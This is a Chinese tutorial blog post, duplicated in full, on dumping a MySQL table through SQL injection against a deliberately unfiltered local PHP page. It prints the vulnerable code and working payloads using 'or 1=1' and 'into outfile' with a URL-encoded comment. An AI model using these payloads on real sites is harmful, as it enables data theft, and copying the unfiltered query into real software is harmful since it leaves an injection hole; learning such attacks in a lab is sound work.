利用SQL注入漏洞拖库的方法
更新时间：2012年01月12日 21:47:32 作者：
利用SQL注入漏洞登录后台和利用SQL注入漏洞拖库是我学习了相关内容之后的一点小结，没啥深度，正如文章开头所说，权当总结，别无它意
想在本地测试的话，可以在此免积分下载：利用SQL注入漏洞拖库
同上一篇文章一样，我们需要创建数据表，并在表中出入几条数据以备测试之用。
在数据库中建立一张表：
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
在表中插入数据的操作我就不贴代码了，可以去下载下来直接导入到数据库。
接下来，写一个处理用户请求的页面，这里，我们故意不过滤用户提交过来的数据，留下个SQL注入漏洞用来测试。
代码如下：
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未经过滤
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖库<p>";
if (!$row){
echo "该记录不存在";
exit;
}
echo "标题<br>".$row['title']."<p>";
echo "内容<br>".$row['content']."<p>";
?>
我们直接在浏览器中输入：
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可访问article表中id为1的一条记录
访问结果如下：
在地址栏中输入：' into outfile 'e:/sql.txt'%23
分析：%23是#的ASCII码，由于在地址栏中直接输入#后到数据库系统中会变成空，需要在地址栏中输入%23，那么才会变成#，进而注释掉后面的sql语句。
运行之后，打开E盘，发现多了一个sql.txt文件，打开之后，里面就是表article中的一条记录。
为什么只有一条记录呢？难道该数据表就只有一条记录？不是这样的，因为我们只检索id为1的一条记录而已，那么能否将article表中的所有记录一次性全部下载下来呢？
答案是可以的，只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。
分析一下，当在URL地址栏中输入'into outfile 'e:/sql.txt'%23的时候，合并到sql查询语句中变为：
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔细分析下之后，我们可以这样子构造SQL语句：
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
这样的话，无论如何WHERE子句总是为真，换句话说，该sql语句等价于如下：
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧，该sql语句在先执行select语句，将表article中的所以内容全部检索出来，然后再执行into outfile 'e:/whf.txt'#'将内容导出来。
不信的话，你执行下……
利用SQL注入漏洞，我们可以猜测表名，列名，用户的密码长度(LEFT函数)等等，当然了，如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等。
有点累了，就写到这里了。
利用SQL注入漏洞登录后台和利用SQL注入漏洞拖库是我学习了相关内容之后的一点小结，没啥深度，正如文章开头所说，权当总结，别无它意。
同上一篇文章一样，我们需要创建数据表，并在表中出入几条数据以备测试之用。
在数据库中建立一张表：
复制代码 代码如下:
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
在表中插入数据的操作我就不贴代码了，可以去下载下来直接导入到数据库。
接下来，写一个处理用户请求的页面，这里，我们故意不过滤用户提交过来的数据，留下个SQL注入漏洞用来测试。
代码如下：
复制代码 代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未经过滤
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖库<p>";
if (!$row){
echo "该记录不存在";
exit;
}
echo "标题<br>".$row['title']."<p>";
echo "内容<br>".$row['content']."<p>";
?>
我们直接在浏览器中输入：
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可访问article表中id为1的一条记录
访问结果如下：
在地址栏中输入：' into outfile 'e:/sql.txt'%23
分析：%23是#的ASCII码，由于在地址栏中直接输入#后到数据库系统中会变成空，需要在地址栏中输入%23，那么才会变成#，进而注释掉后面的sql语句。
运行之后，打开E盘，发现多了一个sql.txt文件，打开之后，里面就是表article中的一条记录。
为什么只有一条记录呢？难道该数据表就只有一条记录？不是这样的，因为我们只检索id为1的一条记录而已，那么能否将article表中的所有记录一次性全部下载下来呢？
答案是可以的，只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。
分析一下，当在URL地址栏中输入'into outfile 'e:/sql.txt'%23的时候，合并到sql查询语句中变为：
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔细分析下之后，我们可以这样子构造SQL语句：
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
这样的话，无论如何WHERE子句总是为真，换句话说，该sql语句等价于如下：
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧，该sql语句在先执行select语句，将表article中的所以内容全部检索出来，然后再执行into outfile 'e:/whf.txt'#'将内容导出来。
不信的话，你执行下……
利用SQL注入漏洞，我们可以猜测表名，列名，用户的密码长度(LEFT函数)等等，当然了，如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等。
有点累了，就写到这里了。
利用SQL注入漏洞登录后台和利用SQL注入漏洞拖库是我学习了相关内容之后的一点小结，没啥深度，正如文章开头所说，权当总结，别无它意。
相关文章
SQL去重是数据分析工作中比较常见的一个场景,下面这篇文章主要给大家介绍了关于SQL数据去重的3种方法,文中通过实例代码介绍的非常详细,需要的朋友可以参考下2023-01-01
这篇文章主要介绍了mysql配置连接参数设置及性能优化，主要介绍配置信息的说明和性能优化，具有一定的参考价值，需要的小伙伴可以参考一下2022-05-05
这篇文章主要为大家详细介绍了mysql 8.0.11压缩包版本安装教程，具有一定的参考价值，感兴趣的小伙伴们可以参考一下2018-05-05
MySQL报错：Starting MySQL ERROR! Couldn‘t f
本文主要介绍了MySQL报错：Starting MySQL ERROR! Couldn‘t find MySQL server (/usr/local/mysql/bin/mysqld_safe)2024-03-03
MySql,MVCC实现及其机制,快照读在RC,RR下的区别说明
这篇文章主要介绍了MySql,MVCC实现及其机制,快照读在RC,RR下的区别说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教2024-04-04
本文给大家介绍mysql命令大全相关知识，涉及到mysql命令相关知识，对此感兴趣的朋友一起学习吧2015-12-12
MySQL本身没有提供replication failover的解决方案，通过MMM方案能实现服务器的故障转移，从而实现mysql的高可用。MMM不仅能提供浮动IP的功能，如果当前的主服务器挂掉后，会将你后端的从服务器自动转向新的主服务器进行同步复制，不用手工更改同步配置2017-09-09
这篇文章主要介绍了MySQL备份恢复设计思路，帮助大家更好的维护数据库，感兴趣的朋友可以了解下2020-10-10
在mysql中批量更新我们可能使用update,replace into来操作，下面小编来给各位同学详细介绍mysql 批量更新与性能吧2013-10-10
隔离性其实比想象要复杂。在SQL中定义了四种隔离的级别，每一种隔离级别都规定了一个事务中的修改，哪些是在事务内和事务间是可见的，哪些是不可见的。较低级别的隔离通常来说能承受更高的并发，系统的开销也会更小2021-09-09
最新评论